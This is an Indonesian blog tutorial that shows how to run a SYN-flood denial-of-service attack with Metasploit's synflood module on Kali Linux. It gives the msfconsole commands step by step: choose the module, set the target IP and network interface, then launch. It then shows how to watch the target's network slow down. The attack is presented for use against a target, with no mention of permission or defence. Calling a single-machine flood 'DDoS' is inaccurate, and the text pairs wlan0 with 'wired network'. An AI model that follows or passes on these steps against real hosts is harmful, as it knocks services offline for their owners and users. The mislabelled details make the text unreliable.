CARA DDOS DENGAN METASPLOIT KALI LINUX




DDOS ( Distributed Denial of Service) adalah jenis serangan yang dilakukan attacker/hacker terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber daya (resource) yang dimiliki oleh komputer tersebut, sehingga komputer atau mesin yang di serang akan kehabisan resource dan pada akhirnya komputer akan menjadi hang.

Sehingga komputer tersebut tidak dapat lagi menjalankan fungsinya dengan benar dan secara tidak langsung mencegah pengguna lain untuk mengakses layanan dari komputer yang di serang tersebut.

DDOS merupakan serangan yang cukup menakutkan di dunia internet karena akibat dari serangan ini server akan mati dan tidak dapat beroperasi, sehingga otomatis tidak dapat memberikan pelayanan lagi.

Gejala Dari Serangan DDOS

  • Kinerja jaringan menurun
  • Fitur-fitur tertentu pada sebuah website hilang
  • Website sama sekali tidak bisa di akses
  • Komputer yang di serang DDOS akan banyak menghabiskan RAM, sehingga kinerja PC akan terasa sangat lelet dan bahkan hang, dan akhirnya mau tidak mau si target harus me re-boot PC
  • Efek serangan DDOS juga akan meningkatkan kinerja atau disk usage si target

DDOS dengan Metasploit

Sebenarnya ada banyak tools untuk melakukan DDOS pada Kali Linux, sangat banyak bahkan, hehehe… Tapi.. kali ini kita akan menggunakan Metasploit.

Sebelumnya sebaiknya Anda melihat aktivitas jaringan Anda dulu dengan etherape sebelum melakukan serangan, Tapi ini tidak wajib untuk melakukan DDOS, ini hanya jika Anda ingin monitoring aktivitas jaringan saja, jika Anda belum menginstall, caranya bisa di lihat di sini.

Ok langsung saja, buka terminalnya, lalu ketikan perintah berikut:

sudo msfconsole

Screenshot from 2017-05-16 00-17-29.png

use auxiliary/dos/tcp/synflood

Screenshot from 2017-05-16 00-21-39.png

show options

Screenshot from 2017-05-16 00-22-41.png

Pada RHOST adalah IP target yang akan kita serang, sekarang kita set IP targetnya, misalnya jika IP target Anda adalah 192.168.1.234 maka perintahnya adalah sebagai berikut:

set RHOST 192.168.1.234

Screenshot from 2017-05-16 01-13-17.png

Anda bisa menyesuaikan nya dengan IP target Anda.

Kemudian kita tukar atau setting juga INTERFACE nya, Anda bisa menggunakan eth0 pada jaringan kabel, atau wlan0 pada nirkabel atau jika terkoneksi dengan wifi, perintahnya:

set INTERFACE eth0

atau jika dengan jaringan kabel

set INTERFACE wlan0

Saya disini menggunakan jaringan wifi

Screenshot from 2017-05-16 01-17-24.png

Kemudian ketikkan lagi perintah:

show options

Screenshot from 2017-05-16 01-18-47.png

Kemudian yang terakhir, untuk menjalan atau mengeksekusi perintah serangan, kita bisa menjalan perintah run atau exploit.

Screenshot from 2017-05-16 01-20-39.png

Dan kita coba lihat lagi aktivitas jaringan dengan EtherApe (jika Anda membukanya tadi), tapi ini tidak wajib. 

Screenshot from 2017-05-16 01-23-10.png

Seperti yang terlihat pada gambar di atas, yang bewarna merah adalah jaringan yang kita serang, semakin besar warna merahnya menandakan kinerja komputer target akan semakin berat.

OK, sekian tutorial kali ini, semoga bermanfaat 🙂